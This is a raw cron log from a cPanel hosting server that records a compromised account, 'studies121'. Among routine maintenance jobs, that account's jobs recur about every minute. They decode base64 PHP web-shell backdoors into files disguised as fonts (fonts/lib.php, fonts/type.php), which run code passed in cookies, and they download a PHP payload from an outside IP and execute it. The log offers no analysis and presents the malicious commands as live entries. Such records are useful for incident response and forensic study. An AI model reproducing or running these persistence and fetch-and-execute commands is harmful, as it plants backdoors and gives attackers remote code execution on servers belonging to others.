Aug 31 02:23:01 ip-184-168-122-23 CROND[12006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:23:01 ip-184-168-122-23 CROND[12008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:24:01 ip-184-168-122-23 CROND[12124]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:24:02 ip-184-168-122-23 CROND[12126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:24:02 ip-184-168-122-23 CROND[12127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:24:02 ip-184-168-122-23 CROND[12128]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:24:02 ip-184-168-122-23 CROND[12129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:24:02 ip-184-168-122-23 CROND[12131]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Aug 31 02:25:01 ip-184-168-122-23 CROND[12236]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:25:01 ip-184-168-122-23 CROND[12237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:25:01 ip-184-168-122-23 CROND[12238]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 02:25:01 ip-184-168-122-23 CROND[12239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:25:01 ip-184-168-122-23 CROND[12243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:25:01 ip-184-168-122-23 CROND[12245]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 31 02:25:01 ip-184-168-122-23 CROND[12248]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 02:26:01 ip-184-168-122-23 CROND[12365]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Aug 31 02:26:01 ip-184-168-122-23 CROND[12368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:26:01 ip-184-168-122-23 CROND[12370]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:26:01 ip-184-168-122-23 CROND[12371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:26:01 ip-184-168-122-23 CROND[12373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:26:01 ip-184-168-122-23 CROND[12372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Aug 31 02:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Aug 31 02:27:01 ip-184-168-122-23 CROND[12745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:27:01 ip-184-168-122-23 CROND[12749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:27:01 ip-184-168-122-23 CROND[12747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:27:01 ip-184-168-122-23 CROND[12750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:28:01 ip-184-168-122-23 CROND[12902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:28:01 ip-184-168-122-23 CROND[12903]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:28:01 ip-184-168-122-23 CROND[12906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:28:01 ip-184-168-122-23 CROND[12907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:28:01 ip-184-168-122-23 CROND[12908]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:29:01 ip-184-168-122-23 CROND[13097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:29:01 ip-184-168-122-23 CROND[13101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:29:01 ip-184-168-122-23 CROND[13100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:29:01 ip-184-168-122-23 CROND[13099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:30:01 ip-184-168-122-23 CROND[13229]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 02:30:01 ip-184-168-122-23 CROND[13230]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 02:30:01 ip-184-168-122-23 CROND[13231]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 02:30:01 ip-184-168-122-23 CROND[13235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:30:01 ip-184-168-122-23 CROND[13236]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:30:01 ip-184-168-122-23 CROND[13239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:30:01 ip-184-168-122-23 CROND[13241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:30:01 ip-184-168-122-23 CROND[13242]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:31:01 ip-184-168-122-23 CROND[13359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:31:01 ip-184-168-122-23 CROND[13360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:31:01 ip-184-168-122-23 CROND[13361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:31:01 ip-184-168-122-23 CROND[13363]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 02:31:01 ip-184-168-122-23 CROND[13364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:32:01 ip-184-168-122-23 CROND[13472]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:32:01 ip-184-168-122-23 CROND[13474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:32:01 ip-184-168-122-23 CROND[13476]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:32:01 ip-184-168-122-23 CROND[13477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:32:01 ip-184-168-122-23 CROND[13475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:33:01 ip-184-168-122-23 CROND[13593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:33:01 ip-184-168-122-23 CROND[13595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:33:01 ip-184-168-122-23 CROND[13596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:33:01 ip-184-168-122-23 CROND[13597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:34:01 ip-184-168-122-23 CROND[13785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:34:01 ip-184-168-122-23 CROND[13787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:34:01 ip-184-168-122-23 CROND[13788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:34:01 ip-184-168-122-23 CROND[13789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:34:01 ip-184-168-122-23 CROND[13790]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:35:01 ip-184-168-122-23 CROND[13953]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 02:35:01 ip-184-168-122-23 CROND[13950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:35:01 ip-184-168-122-23 CROND[13952]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 02:35:01 ip-184-168-122-23 CROND[13949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:35:01 ip-184-168-122-23 CROND[13955]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
